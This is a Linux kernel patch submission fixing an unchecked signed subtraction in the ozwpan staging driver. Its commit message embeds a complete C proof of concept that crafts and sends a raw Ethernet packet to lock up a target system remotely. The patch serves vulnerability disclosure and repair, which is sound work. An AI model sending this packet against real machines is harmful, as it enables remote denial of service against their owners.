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Subject[PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
Date
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}

int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}

uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}

int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}

struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};

struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};

if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 8552053..1bde6aa 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.4.1


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